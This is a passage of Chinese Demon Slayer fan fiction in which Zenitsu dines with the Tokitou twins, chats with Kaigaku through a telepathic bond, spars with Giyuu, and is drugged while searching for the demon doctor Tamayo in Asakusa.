时透无一郎被哥哥捂住耳朵什么也听不见,好奇地观察两个人的动作,一不小心与生无可恋的善逸对上视线,立刻露出了一个纯真的笑容。
啊。罪恶感。
我妻善逸默默去拿自己床铺旁边放置的日轮刀:“我现在就切腹谢罪。”
“诶诶诶??!!”“不至于不至于!”“虽然你已经恶心到没办法用语言形容了还在小孩子面前说出那种话简直就是恶心至极但是没必要切腹的真的!!”
我妻善逸的动作一顿,随后眼泪汪汪地和时透有一郎对视:“呜呜呜我真是该死!!”
“让我去死都别拦我呜呜呜!!”
“啊呀都说了!!无一郎快把他刀抢下来!!快点!!”
“哥哥我来了!!”
五分钟后,我妻善逸乱糟糟地从房间走出来,身后跟着抱着他的日轮刀的时透无一郎和警惕盯着他的时透有一郎。
他们来的正是时候,此时午饭刚好被送了上来。
“锖兔哥哥——我们把善逸哥哥叫起来了!”
“是吗,真厉害啊,有一郎无一郎。”锖兔招呼着三个人落座:“快来吧。午饭已经被安排好了!”
屋内,时透夫妻正在向他们的儿子们招手。
“爸爸!妈妈!”
时透双子兴冲冲地冲过去,路过善逸身旁时,无一郎犹豫了一会儿,还是将日轮刀还给了我妻善逸。
“哥哥,不可以切腹哦。”无一郎忧心忡忡地看着善逸,手依然扶在日轮刀上,仿佛善逸不答应他就会立刻将刀收走。
我妻善逸重重点头。
“那哥哥你好好吃饭。”无一郎被哥哥拉走,临走前还担心地回头望了好几眼。
啊。罪恶感。
我妻善逸默默拿起筷子,夹起一块油炸天妇罗送入口中。
真好吃。
善逸悄悄加快了抡筷子的速度。毕竟他很久没有好好吃过一顿午饭了。
真好吃。
呜呜呜。
善逸吃得很快。等他将自己碗中的饭扒完,摸着自己圆滚滚的肚子,确认自己已经再也吃不进去一点,才遗憾地将自己的筷子放下。
啊。饱了。
善逸盯着前方认真吃饭的小孩子发呆。
话说这两个人好熟悉。
两个人啊……哪位是那位霞柱大人呢?
我妻善逸想着,眼神默默朝着凶巴巴又毒舌的那位身上漂移。
是他吧。刚刚一脸鄙视地看着自己呢。
他们两兄弟的名字是“有一郎”和“无一郎”啊……
这样讲,那位霞柱“时透无一郎”是弟弟吧?
嗯嗯……嗯?
等等等等。
刚刚那个毒舌小孩子是不是叫另一个小孩“弟弟”、“无一郎”之类的?
嗯嗯嗯?这不对吧???
难不成……刚刚那个一脸乖巧纯良的小孩,才是那位霞柱??
我妻善逸的眼神逐渐惊恐。
“哥哥……”时透无一郎有点食不下咽,可怜兮兮地看向自家哥哥。
“那个人……”时透有一郎咬牙切齿。从刚刚开始,就在用一种非常失礼的视线盯着他们兄弟两个!!到底有什么可惊讶的!!
可恶!!这种几乎凝成实质的目光注视下他们根本吃不下饭啊!!
时透有一郎猛然站起,在父母担心的目光下端起自己的小桌板,直直向前,走到我妻善逸身前,放下桌板,跪坐好,继续吃自己的午饭。
啊。被挡住了。
我妻善逸眨眨眼,有些疑惑为什么眼前突然长出来了一个小孩。
算了,反正都一样。
我妻善逸继续震惊脸。
时透有一郎的饭很快就吃不下去了。
他咬牙切齿地小声开口,用一种只有两个人能听到的音量讲话:“你,到底想要干什么??”
以为救了我们全家就可以肆无忌惮吗?可恶的家伙!!时透有一郎恨恨地搅弄
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着手中的袖子。可恶啊!这家伙真得能够肆无忌惮!!
“不要再盯着我弟弟了你这个家伙!!”
“啊,果咩。我只是有点好奇……”我妻善逸讪讪地收回视线。他的眼神很明显吗?他以为他挺收敛的来着!
对自己的存在感没有一点认知的我妻善逸这样想着。
事实上,由于我妻善逸是昨晚斩鬼之人,时透一家难免对他多关注,时透夫妻还在思考昨夜太过慌张,没能好好感谢他们的救命恩人,内心十分忐忑不安,于是更加关注善逸的动向。而锖兔更是因为昨晚他的奇怪表现有点在意,也在有意无意地瞟向他的方向。加上善逸两世以来身上积累的独特气质,让出入添饭的紫藤花之家的人员都忍不住多看他几眼……
可以说,这个房间内,除了不关心的富冈义勇,其他人的注意力都在他身上。
时透有一郎对上眼前人像是做错事了一般的可怜表情,感受到背后来自父母的灼灼盯视,咬了咬牙:“……有什么事情,等到我们吃完饭再说!知道了吗!不要再看无一郎!”
“嗨、嗨,我知道了——请继续吃饭吧,有一郎。”善逸有些尴尬,摸了摸自己的鼻子。
时透有一郎最后瞪了眼善逸,之后将自己的小桌板重新搬到弟弟旁边,气哼哼地吃饭。
“说吧,有什么事?”吃完饭,时透无一郎扯着弟弟来到我妻善逸身边,像是小大人一样开口。
虽说刚刚的好奇话语只是一句托词,但是我妻善逸确实有件事情想要问眼前的这对双子兄弟。
他将两人拉到檐廊的角落里,悄悄询问:“呐,你们两个,平时能够感觉到对方的心音吗?”
“?”时透无一郎歪头。
“就是说啊!像是那种‘啊,哥哥在这么想啊’的情况!!”善逸双手比划着,试图让眼前的两个人理解他的话:“就算隔着一定的距离也能够体会到对方的感受——之类的!双子之间的心灵感应!”
“你说的这种,已经超脱正常的范围了吧?可以归属于‘奇怪的东西’的点上了。”有一郎死鱼眼。还以为将他们拉来是有什么重要的事情要说呢!这个人真是的,明明昨天晚上那样靠谱又帅气,今天就变得像是没长脑子的小孩一样,一惊一乍,还幼稚至极!
“如果说‘能感受到哥哥的想法’这种事,有的哦。”善良的小小无一郎认真地回答我妻善逸的问题:“哥哥今天不想吃鱼、哥哥晚上没有睡好、哥哥有点担心爸爸妈妈、哥哥很喜欢无一郎,哥哥也并不讨厌你,这样的事,我都能感受到的。”
“喂!无一郎!!”被弟弟卖了的有一郎连忙扑上去唔弟弟的嘴,耳根红红的,像是被煮熟了的虾子一般。
“唔……哥哥啧宗是不阔以缩吗?”(哥哥这种事不可以说吗?)
小无一郎被自己的哥哥强制闭麦,只能用爱莫能助的眼神看向我妻善逸。
我妻善逸在有一郎身后,默默向着无一郎比出了个代表赞赏勇敢的大拇指。
他都不敢想如果他在师兄面前将师兄的心声向别人道出,头顶的包得有多少。
不,也有可能是被师兄直接砍死。
唉。师兄啊。
48.第 48 章
“咳咳!总之,我和无一郎之间可以通过眼神交流,可以隐约感受到对方的想法,但是分开一定的距离就没办法互相体会了——”时透有一郎整理好情绪,接替弟弟的话开口。
“所以你们不能感受到对方的心跳声、不能远程心灵感应、分开后甚至不能互相感应对方的状态?”善逸伸出指头数着,总感觉自己和师兄赢了。
师兄!我们之间的联系甚至超越了双生子诶!!
“……你在想什么失礼的事情吗?”时透有一郎敏锐地注意到善逸那种有点贱兮兮的表情。然而任他想破天都不会知道,眼前的人能够不靠谱到向他们咨询一圈只是为了在内心暗戳戳比较这种事情!
“哈哈怎么会呢哈哈哈哈哈~”我妻善逸美滋滋地捂着脸,笑得像一朵向日葵:“诶呀诶呀不愧是双子,关系真好啊哈哈哈”
嘻嘻,就是没他和师兄的关系紧密捏~
‘师兄,你听到了吗?我们可是比双生子还要亲密哦~’
‘闭嘴,蠢货。你是会在意这种事的幼稚小孩吗?’
师兄的心音充满了嫌弃。嗯,大概是觉得我和小孩子幼稚地比较这种事情很丢脸吧。
善逸心想,笑容越发灿烂。
‘师兄,有着这样关系的我们,从此之后可就是被永远地捆绑在一起了哦~’
‘你看,就连双生子之间的感应也敌不过距离。’善逸的声音柔缓,黏黏糊糊的,像是口中含着蜜糖一般:‘但我们之后永远不可能分开了。’
狯岳被这响在耳边的黏糊话语激得浑身一抖。他烦躁地放下正在挥舞的日轮刀,抹去了滑落到下巴的汗滴。不知道为什么,突然对自己的蠢货师弟的得意声音感到不满。
‘我可以找蝴蝶忍小姐解除现在这样的状态。’
‘诶——师兄对我们两个现在的联系不满意吗?不见得吧——’善逸嘟嘟囔囔,对师兄的反驳有点不开心:‘明明从你那边传来的感觉也还不错的说——’
我妻善逸轻易地拆穿了师兄的口是心非:‘之后无论发生什么事,我都会永远站在师兄身边哦——这样的状况,师兄不开心吗?’
‘哈?难不成我们之间没有这个恶心的感应,你就会离开我吗?’
狯岳的语气不是很好,我妻善逸却哈哈大笑起来,甚至眼角的眼泪都流了出来。
啊,师兄知道自己是被坚定选择着的。
‘关于这一点我没办法反驳啊师兄。好耍赖。’
听到善逸的心音,感受到他的愉悦情绪,狯岳不爽地咂舌。
‘好了,废物,闲聊到此终止。’狯岳继续举起日轮刀:‘之后我要练剑,如果有任意一点从你那边传来的杂音落到我的耳朵里,回来的时候你就切腹吧。’
‘师兄,不发出声音的只有死人哦。’
‘那就请你死一死吧。’
‘师兄你怎么这么霸道——’
‘好了,从现在开始闭嘴。’
‘师兄!’
‘你想死了?’
好不讲理。善逸在内心噘嘴。
“喂!还有别的事吗?没有我们就要走了。”小孩子警惕的声音传来。
啊,差点忘记了,他面前还有两个小孩子呢。
善逸连忙道歉:“果咩果咩,没事了,有一郎和无一郎可以回去了哦。”
有一郎被刚刚我妻善逸又哭又笑的表情吓到,此时正以一种保护的姿态挡在弟弟无一郎身前,看到善逸的样子,嘴角抽了抽,还是开口:“你现在,笑得好恶心。”
说完,拉着弟弟的手就跑走了。
“诶?我还在笑吗?”
我妻善逸伸手摸上自己的脸,面部肌肉在他的手下松弛,带着一点僵硬的酸痛感。
啊。原来我笑了那么久啊。
也是没办法——毕竟,他的师兄,那个稻玉狯岳,竟然有着自己会被坚定选择的自觉诶!
并且完——全不抗拒(狯岳:?)和他有这样亲密的联系!甚至都没有找忍小姐解除现在的状态!只是轻飘飘地用这种事威胁他!
当然,我妻善逸有预感,这种联系没办法被轻易地断开——但是师兄竟然一点都没有尝试!
明明在藤袭山的时候还对自己硬要和他贴贴的行为非常抗拒来着……
我妻善逸感觉自己的心软乎乎的,师兄像是一只大猫,在自己的心脏上踩来踩去,脚步轻轻的,甚至小心地收拢了锋利的爪子,喉咙里还发出“呼噜噜”的声音。
啊——好幸福!
善逸浑身冒着轻飘飘的泡泡,在紫藤花之家的院子里打转,被富冈义勇抓住了肩膀。
“找我有什么事吗?”我妻善逸转头,身上飘出的泡泡糊了富冈义勇一脸。
义勇打散扑到自己脸上的奇怪气息,眼神观察着我妻善逸的表情。三秒后,他开口。
“你什么时候离开?”义勇直言问。
“今天下午吧。怎么了?”善逸说。
富冈义勇长长吐出一口气,随后用认真的眼神望向我妻善逸,左手向后扶住身上的日轮刀刀鞘,开口:“请与我比试一番吧。拜托了。”
笑眯眯的善逸听到义勇的话,将眼睛认真地睁开,仔细扫视眼前的人。
啊,这种声音,熟悉的,不甘于弱小的,想要守护某人的声音。
我妻善逸愉悦地扶上自己的日轮刀:“那么,请指教。”
“铿!”日轮刀碰撞到一起,擦出一点火花。这是,刀锋与刀锋之间的较量。
善逸后退一步,旋身轻巧躲过朝着他劈来的湖蓝色日轮刀。两个人都没有提用竹刀较量的这种话。他们都清楚,竹刀达不成目的。
“呛!”善逸抬手,日轮刀挡住向着他的侧方砍来的刀锋,同时手腕一转,手下轻巧地卸力,轻易地化解了一次攻击,反手又挡住了另一下。
现在的富冈义勇还是刚加入鬼杀队的稚嫩新人,完全没有之后水柱的锋利。但能够成为柱的才能已经在他身上展现,他的进步速度非常惊人,短短一段时间,他比善逸在藤袭山见到时强了许多。
当然,现在的富冈义勇没办法和被打磨了两世的我妻善逸比较。这场比拼与其说是较量,更像是一场对富冈义勇的指导赛。
我妻善逸轻巧地在刀锋之间穿梭。他熟练地运用呼吸法加强腿部肌肉,在义勇的攻击到来之前就预料到了刀锋的落点,剩下就是比拼速度的环节了。
然而雷之呼吸最不缺的就是速度,富冈义勇在这样看似强势的单方面进攻,实则被我妻善逸压制的死死的情况之下,选择了率先使用呼吸法招式。
富冈义勇平复略微急促的呼吸,让自己的心保持如水面一般的平静状态,双手握住日轮刀的刀柄,双脚蹬地向前两步,来到我妻善逸面前。<
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“水之呼吸 一之型 水面斩”
随着富冈义勇的日轮刀挥出,那种像是水流一般看似平静实则汹涌的力道朝着我妻善逸袭来。
不愧是之后的那位水柱大人。我妻善逸看着眼前漂亮的招式,双腿上闪出电花,“锃”地一声,带着蓝色电花的日轮刀挡在了水波的必经之路上!
感受到日轮刀上传来的力道,富冈义勇没有较劲,刀锋一转,轻巧地与另一把日轮刀错开,日轮刀随着手腕转动,像是搅动水流一般,在空中划出蜿蜒的弧度:“水之呼吸 三之型 流流乱舞”
刀锋的弧度开始难辨起来,像是在空中流转的丝带。
这招啊。
我妻善逸前世的小伙伴灶门炭治郎最开始修行的就是水之呼吸,对于水之呼吸各个招式的效果也算熟悉。他熟练地旋转刀刃抵挡,甚至在招式之间的间隙出刀干扰,让富冈义勇不得不变换身形,改变招式。
富冈义勇调整姿势,重心转移,大幅度地扭转身体,刀锋带出的乱舞水流在身体的带动下扭转成漩涡,带着水流势不可挡的气势来到我妻善逸身边。
不愧是那位水柱大人。我妻善逸逐渐兴奋起来,蓝色的电花顺着手臂蔓延到日轮刀之上:“来吧!”
“雷之呼吸 一之型 霹雳一闪!!”
善逸像是一条闪电,直直地冲着刀锋而去!
霹雳一闪是极速的直线攻击,判断落点非常简单。然而富冈义勇完全来不及扭转身姿,带着涡流的强大力量的日轮刀直直撞向那道闪电!!
“刺啦——”刀锋与刀锋的相抵中,富冈义勇率先不敌,他的日轮刀被巨大的力道压得上抬,两把日轮刀摩擦出激烈的火花,随着日轮刀的碰撞,蓝色的电花逐渐蔓延到他的手臂,一阵阵酥麻感觉让他几乎握不住日轮刀!
富冈义勇迅速跳远,松缓手臂调整状态,再次将日轮刀握紧,蹬地上前,双手顺着奔跑的姿势带动刀刃旋转,搅动空气的同时掀起如游龙般的浪花!
“水之呼吸 十之型 生生流转 ”
“真厉害啊。”我妻善逸手腕翻转,收刀回鞘,然后再次拔刀:“雷之呼吸一之型 霹雳一闪 !”
转眼间,游龙与电花相遇,来自水流的奔涌与来自闪电的霹雳激烈碰撞,明明只是刀与刀之间的拼杀,却好似将这一方庭院之内的空气都全部抽离,只剩下了水与雷的活动。
站在不远处廊道拐角,时透有一郎与时透无一郎将这一切收入眼中。
两个人战斗时的电光与水光映入眼中,无一郎震撼地看着这一切,握着哥哥的手不自觉收紧。
这是……人能够拥有的力量吗……
无一郎憧憬地望着眼前的一切。
被弟弟手上的力道惊醒,时透有一郎从震撼之中回神,转头,看到了弟弟眼中的憧憬。
啊。完蛋了。
时透有一郎作为无一郎的双子哥哥,在那一瞬间就感受到了弟弟的想法。
他恨不得用双手将弟弟的眼睛蒙住,将弟弟拖回没见到这种力量的时候。
但是啊……有一郎将脑袋转回那边切磋的两人身上。
看到了更高的天空的鸟儿,是注定无法被笼子困住的。
有一郎小小叹了口气。
算了。就让我陪着这个笨蛋吧。
谁让我是哥哥呢。
49.第 49 章
“呐呐,哥哥。”
那边的两人分开,这边的无一郎兴奋地转头望向自己的兄长:“我们之后也……”
“想要成为剑士,必须有卓越的才能。”有一郎打断弟弟的话:“无一郎,你了解自己的能力吗?”
“我没有尝试过……”被哥哥泼了凉水的无一郎略有些紧张:“但是,哥哥,我想要拥有那样的力量。”
注意到自家弟弟绞紧的双手,有一郎别开脸,略微有些不忍心,但还是说:“无一郎,成为鬼杀队的剑士之后,你就必须冒着生命危险斩杀那些恶鬼。如果你遭遇不测,你让爸爸妈妈和我怎么办?”
“哥哥……对不起,我……”
“即使可能死亡,你依然想要成为剑士吗?”
小小无一郎握着哥哥的手有些颤抖,但他的语气坚定:“哥哥,我想要拥有在危险时能够保护家人的能力。”
“……”有一郎也沉默了。他们都想到了父母用血肉之躯挡在恶鬼身前,为他们争取逃跑的时间的那一幕。如果不是那三位鬼杀队剑士,恐怕他们一家都会死在恶鬼手下。
“那么,无一郎。”时透有一郎将弟弟微微蜷缩的手指展开,将自己的双手握上去。
“我会和你一起。”
和富冈义勇比试完的我妻善逸非常畅快。他收拾好自己的行李,与义勇锖兔以及时透一家告别,继续踏上了前往东京浅草的旅途。
脚下是他的最后一截山路。越过这座山,之后就是广阔的平原地区。
而到了平原,他就可以乘坐那些穿梭在大地上的钢铁巨兽们了。
在夜色降临之前,我妻善逸赶到了火车站。他熟练地给自己买好票,小心藏起来自己的日轮刀,随着人流一起坐上了火车。
坐在火车上注视窗外,熟悉又不同的景色总让他想起了上辈子的那辆名为“无限”的列车。
此时的列车上并没有一位大喊着“五蚂蚁”、精神十足像只猫头鹰的炎柱,也没有他的两位小伙伴,一个人的列车旅程略显空旷,让我妻善逸稍微有些寂寞。
不过,这样的寂寞比上辈子的吵闹更让他安心。因为他知道,所有的悲剧都还没有发生,所有的事情都来得及。
他坐在窗边,静静地望着飞速掠过的田野。在检票员走后,鎹鸦纹四郎就从他的羽织中钻了出来,此时也站在火车的窗沿,一人一鸦安静地互相陪伴着,耳边只剩下火车的声响。
火车行走了一天两夜,等到他下站时,时间已经到了第三天的清晨。
‘师兄?醒了吗?’我妻善逸看着时间,熟练地叫醒自己的师兄。
能够与师兄远程感应交流这件事大大地满足了我妻善逸对师兄的那一点隐秘的控制欲。外出杀鬼的善逸和在蝶屋修养的师兄的休息时间完全错开,善逸杀鬼结束的时间,刚好对上狯岳起床的时间。
‘……嗯。’
这是我妻善逸这两天刚发现的事情:他那个凶巴巴的师兄,在早上起床时也会露出些黏糊糊的声音。
我妻善逸轻声哄着:‘师兄?该醒了师兄。’
“……我起了。”
狯岳的声音轻飘飘的,带着久睡的困顿,还没有完全清醒的大脑让他整个人都显得呆呆的。
‘师兄早上有想我吗?’
‘……嗯。’
‘这样啊——我也很想师兄哦。’
‘那师兄是不是觉得我妻善逸超级优秀?超级棒?’
‘……你想死吗?’
啊。清醒了。我妻善逸遗憾想到。
呆呆的师兄脑袋转不过来圈,哄着他可以问出一些很可爱的问题——当然,一旦师兄恢复清醒就没有这样的福利了。
第一次发现这件事情的我妻善逸对此简直惊为天人,并对于自己之前一直没能早起以至于错过了这么多次的清晨福利这件事捶胸顿足。
‘师兄你今天就要开始全集中常中的训练了吗?要不要我来指导你呢?’
我妻善逸的语气轻快。
‘不用你。好好睡觉去吧,废物。’
‘诶——我还挺想教导师兄来着……’
‘所以说我才不想你得意啊!’
‘师兄,你上一句话很大声,漏到我这里了哦。’
‘我是故意的。’
‘师兄你好恶劣!!’
两个人就这样有一嘴没一嘴地闲聊着,同时做着自己的事情。
我妻善逸从火车站出门,在鎹鸦的指引下一路朝着浅草的方向移动。
无聊的赶路时间因为师兄那边的动静而变得有趣起来。
此时的狯岳站在蝴蝶忍面前,被小葵和香奈乎拿出来的大葫芦震撼到瞳孔紧缩。
“好了,吹破它,我们再进行下一步。”蝴蝶忍认真地将姐姐教她全集中·常中的流程重演,将那个有半人高的葫芦推了出来。
狯岳默默接过那个巨大的葫芦,将葫芦放到自己的嘴边,调整状态,深深吸一口气,将嘴凑了上去。
“吸气时最大限度舒展肺部,随后腹部收紧,将气体平稳地吹出口腔……”
蝴蝶忍将技巧说出,观察了狯岳的状态,随后点点头,交代神崎葵和栗花落香奈乎在这里观察情况,重新回到了自己的实验室。
在两个小女孩的注视下,狯岳开始了自己的训练。
我妻善逸在路途中认真地听着师兄的呼吸声,时不时点出师兄的问题,并将自己的经验告诉师兄。
好吧,虽然每次都被师兄骂自己打断了他的状态,但是善逸坚信自己的帮助绝对有用处的!
所以说,师兄三天就吹爆了那个葫芦,绝对有我的功劳在里面!
善逸信誓旦旦地对师兄邀功,被师兄甩了个嫌弃的轻哼。
我妻善逸在浅草找了家旅店落脚,每天昼伏夜出,穿梭在灯火通明的街道寻找那位医生的踪迹,顺便斩杀出现在夜晚的恶鬼。然而,两天过去了,他依然没找到那位医生的踪迹,只从浅草的居民口中得知了那位医生的姓名。
“珠世小姐”,他们都这样叫那位医生。
他假装成求医问药的病人,用“想知道医生的医术怎样”从那些曾经被珠世医生看过病的人口中套取关于珠世医生的情况。
听到有人问询,那些被救助过的人都很热情地讲述这位珠世小姐的医术究竟是多么高超,手法是多么温柔,收取的诊金也非常少,经过她手下的病人无不夸赞她的仁慈。
我妻善逸整合了他这两天获取的所有情报,在脑海中和师兄认真地分析情况。<
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‘大多数病人,都被抽取过血液?’狯岳敏锐地发现情报中的问题。
“嗯,说是为了治病,抽取了大概两百毫升的血液。”
经过师兄的点醒,我妻善逸也发现了问题。“她很需要血液吗?”
他回想主公给的那封信中的情报。“特殊的医生”,特殊在哪里呢?
对血液的需求、生活在拥有繁华夜晚的浅草、特殊……
善逸想到了一种可能。
他没有将想法诉说于师兄,只是默默更改了自己的找寻方向。
我妻善逸放弃了白天的搜查,在旅店之中养精蓄锐,每当太阳隐匿与地平线之下,他才从旅店出门,将自己的听觉释放到最大范围,仔细地从喧嚷热闹的人群中倾听不一样的声音。
“师兄?全集中呼吸停了哦。”在夜晚搜查的我妻善逸同时肩负着提醒师兄全集中呼吸的任务。
是的,在吹破了葫芦之后,狯岳那边开始了全集中·常中的练习。
蝴蝶忍安排了两个小女孩守在狯岳身边,时刻观察着狯岳的呼吸,在全集中呼吸断掉的时候做出提醒。
然而,狯岳对于两个小孩略微有些不适应。
白天还好,晚上半梦半醒之时感受到视线时,他总感觉是我妻善逸那个变态在盯着他,很难忍住一巴掌乎上去的冲动。
幸好没有真的拍到小姑娘的头上,但也导致了狯岳对于这两个兢兢业业陪他练习的小女孩怀着一种愧疚的感情,晚上也不敢睡得太死,再加上白天的运动量大,狯岳这两天黑眼圈在眼下堆叠了两层。
感受到师兄的为难,我妻善逸主动提出要提醒师兄夜晚的全集中呼吸保持问题。狯岳仔细思考,让自己的师弟提醒总比哪一天真的将巴掌拍到了两个小姑娘脑袋上要好,于是勉强同意了善逸的自荐。
于是,善逸在搜寻的途中,还时时刻刻地提醒着睡眠之中的师兄。
善逸还担心过心音叫不醒睡梦之中的师兄,没办法起到提醒师兄的任务。没想到,可能是狯岳对于善逸的声音太过熟悉,加上忙碌的训练导致夜晚睡得特别熟,善逸确实没办法叫醒自己的师兄,但是每当他开口,狯岳就会自动调整自己的呼吸,调整到与师弟的呼吸节奏同一频道。
这还是善逸意外发现的。那天晚上,他意外听到了鬼的声音,跟随声音寻找上去时,却只见到了一直抓着人肉啃食的恶鬼。于是他调动身体内的力量,用呼吸法加强双腿,霹雳一闪之下恶鬼的头颅成功被斩下。
恶鬼的实力不强,善逸斩杀得很轻松,中途甚至对断掉了呼吸法的师兄做出了提醒。
等他与恶鬼拉开距离,平复自己的呼吸并注视着恶鬼的身躯消散时,就发现了师兄那边声音的不对劲。
师兄调整的呼吸法频率短而急促,是明显的运用呼吸法加强部分身体的技巧。
我妻善逸愣住,等他反应过来后惊奇地调整自己的呼吸,随后对师兄开口:“师兄?”
然后,他就听到来自另一人的呼吸声,再次与他的重合。
啊。好奇妙。
善逸有些哭笑不得,同时觉得这样像是被师兄亦步亦趋跟着的感受好奇妙。
嗯,像一只贴着他腿行走的小猫。
乖猫乖猫。
50.第 50 章
其实这件事情是有原因的。
狯岳在练习吹葫芦时,有时候被善逸发现节奏不对,我妻善逸就会调整自己的呼吸,给师兄做演示。
跟随着师弟的节奏,狯岳一点点的调整,发现自己的呼吸的确加强了许多。
通过这样的事情,每当狯岳在锻炼时,身体都会不自觉地跟随感受到的另一个人的呼吸调整,而被他当做范本的我妻善逸已经将全集中·常中这样的技巧运用的十分熟练,是个优秀的对照模版。
经过这些天的训练,“跟随善逸调整呼吸”这件事已经不知不觉地被狯岳养成了一种身体习惯,被提醒,然后调整,这是他们师兄弟白天训练时的远程流程。
那么,这些习惯被带到狯岳熟睡的夜晚,也是一件出于身体本能的理所当然了。
在大脑出于半关机状态的夜晚,身体只记得了要遵循“跟随模板调整呼吸”的指令。至于模板呼吸方式变化这件事,大脑没说,于是身体也依旧照搬,就造成了现在这样的情况。
善逸玩了一会儿,就自觉地将呼吸调整了回来,并且将这样的事情当做自己的小秘密藏了起来,甚至没有告诉自家师兄。
第二天照常被师弟唤醒的狯岳,疑惑地感受着另一个人的窃喜。
“怎么?你晚上捡到金平糖了?”狯岳疑惑问。
“嘻嘻嘻嘻,师兄是猜不出来的啦~”善逸的声音贱贱的,让狯岳莫名有种想揍师弟的冲动。
根据以往的经验,当他有这种感觉的时候,一般是不会冤枉善逸的。
狯岳蜷了蜷手指,遗憾师弟并不在眼前。
时间就在狯岳的练习中过去。当善逸遗憾地发现狯岳已经基本不需要提醒就可以保持常中呼吸时,时间又过去了七天。
那天夜晚,我妻善逸照常巡街,熟练地与那些被他问询过的人打招呼。那些人也都知道善逸的来意,见到他时都会问询他寻找珠世医生的进度。
得知他这些天依旧没找到医生,为他遗憾的同时,也将自己得到的关于珠世小姐的线索告知于他。
我妻善逸好心谢过,随后便跟随着指引的方向搜索,试图找到这位神秘医生的踪迹。
幸运的是,还真让他找到了一星半点的异常之处。
他跟着方向七拐八拐,进到一处漆黑的巷子。在走到一处围墙旁边之时,他手中拿着的,打算给师兄当伴手礼的风铃从手中掉落,啪嗒一声,摔倒了地上。正是这一声,让他意识到了不对劲。
回声不对。
他转向那面围墙。在声音的领域里,这里没有被阻隔。
他伸出手,缓缓地触摸向那墙的墙面。正当他的手和墙面接触之时,那墙体在他手下有如水镜一般化开,直将他的手臂给吞了进去!
“障眼法?”善逸喃喃开口,小心用日轮刀刀柄试探两下,确认没有问题后,握紧日轮刀,做好警戒的姿势,闯进这墙面之中。
在他进入这施了障眼法的区域的一瞬间,一道凌厉的攻击向着他而来!他下意识拿刀抵挡,只听见一阵玻璃碎裂的声音,下一瞬,点点水光溅射到他的脸上。
他朝着那方向看去,只见到一个被他砍碎的针管掉落在地上,再往前,是一只有着黑色发尾的白短发青年鬼,正用狰狞的表情看着他。
“可恶啊!居然没中!!”
那青年鬼边说边后退,向着远处跑去,时不时还回头望向他的方向。
这种动作……善逸死鱼眼。当诱饵当得不太熟练啊,小哥。
度过这层障眼法后,一切被遮蔽的声音都再次回到了他的耳边。善逸清晰地听到了另一只鬼的声音,就在这栋被障眼法掩盖的别墅之中。
不过……那个青年鬼给他的感觉,和别的鬼很不同。
更重要的是……善逸左手后伸,将身后那棵大树上的符纸拽下,展开在自己眼前。
这张符纸,正是形成隔绝屏障的源头。
只见那符纸之上,用红色的笔墨画着一只熟悉的眼睛图案。在善逸的感官之中,这张符纸之上散发着鬼的味道。
同样的符纸,同样的图案,我妻善逸上一次见到,是上辈子的无限城中,在那些飞翔在战场与战场之间的鎹鸦脖子上。
和鬼杀队有联系的……鬼吗?
善逸决定暂且试探一下。
“你好,我是鬼杀队的队士我妻善逸。我来找珠世医生。请问她在这里吗?”
善逸将自己的日轮刀收了回去,向那青年鬼示意自己没有恶意。
那青年鬼停在距离善逸五米远的位置,用警惕的眼神盯着他。
“鬼杀队的?来找珠世小姐干什么?”
“我没有恶意,只是奉我们鬼杀队的主公之命,寻找珠世医生来分析我身上的一些小问题。”善逸将双手摊开展示在青年鬼面前,尽力展示自己的无害。
青年鬼的表情狐疑,似是正在思考善逸话语的真实性。与此同时,在善逸看不到的地方,他的左手背在身后,比划着手势。
“我们与鬼杀队并无交流,鬼杀队是从哪里知道珠世小姐的名字的?”青年鬼提问。
与此同时一阵指甲刮破皮肤的声音传来,之后,一阵奇异的香气飘到善逸鼻尖。
“鬼杀队在日本各地都有情报人员驻守,以便能够及时收集各种有关鬼的情报。”善逸含糊地将这个问题带过,在内心思考这股异香的来源。
好香。善逸耸了耸鼻头,丝丝缕缕的香气进入鼻腔之中,香味让善逸略感愉悦。
“嘛,其实我也不是很清楚,主公没跟我说太多。”在这样的香气之中,善逸感觉自己有点晕乎,话语没过脑子就吐露了出去。
“你身上出了什么问题,以至于必须找珠世小姐研究?”
“啊,大概是因为我曾经变成过鬼吧。”善逸感觉自己的身体飘飘忽忽的,眼前出现了大朵大朵的绚烂花束,让他仿佛身处梦境之中。
‘废物!!你在说什么??周围的气味有问题!屏息!!’师兄焦急的声音传来。
这个点,师兄还没睡吗?
被气味控制住的善逸头脑不大转的过来弯,第一反应居然是这种事情。
他的眉毛微微蹙起,已往总是因下垂而显得无害的眉眼此时下压了眼角,显得锋芒毕露,像是被拔出剑鞘展露锋芒的刀剑。
当然,对师兄的作息有些不满的善逸,还是老老实实地屏住了呼吸。
但是晚了。
听到善逸的回答,青年鬼的双目蓦然睁大,双腿不自觉上前两步,想要仔细观察眼前这位鬼杀队的剑士,却被善逸一瞬间不加遮掩的锋利镇住,后退两步回到了原来的距离。
善逸气势的突然变化激得他全身的肌肉在瞬间紧绷,下意识地做出防备的姿态。
善逸一步步向着两只鬼的方向前进,被香气影响了反应的大脑只记得要找到医生,
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给自己做检查这件事。
然而,无论是青年鬼还是暗中隐藏身形的鬼都没有动作。
青年鬼在心中默默读秒。
五、四、三、二、一、倒。
向前的善逸只觉得自己前伸的左脚一软,整个人都摔到了地上。
下一刻,意识陷入混沌,只听到师兄的焦急的呼喊。
“呼。总算是有效果。”青年鬼呼出口气,用手背擦过额头,转而看向另一只鬼藏匿的方向:“珠世小姐——可以出来了!”
他的话声落下,下一秒,从别墅外墙的拐角处走出一位身形修长的女子。只见她一袭和服,黑色的长发服帖地整理好,在脑后用白花簪子挽起,露出的面容柔和而秀美,一双似是柳叶的眉毛此时微微皱起,暗紫色的眼睛下垂,担忧地看向我妻善逸倒下的方向:“吸入过多我的血鬼术可是对人类有害的……希望那些药对他有用。”
“珠世小姐!!我们快走吧!!”青年鬼三两步跑上前,一把拉住珠世的手腕:“我打碎的那管药不知道他吸进去了多少,趁着那个可恶的剑士还没醒,我们得赶快离开!”
“不行的,愈史郎,稍微等待一下。”珠世将愈史郎握着自己手腕的手拿下,对着他指挥到:“愈史郎,你去将我们打包起来的药剂箱拿出来。他吸入了我的血鬼术,必须治疗。”
珠世和愈史郎都是鬼。珠世生前是一名医生,深深憎恶着将她变成鬼的鬼舞辻无惨。后来意外从鬼之始祖的控制中逃脱,利用自身的医学本领将自己的身体改造,使她可以依靠少量的人血就可以存活,而不需要啃食人肉。变成鬼的这些年来,她一直在进行针对鬼的研究,愈史郎就是被她通过研究成果变成的鬼。
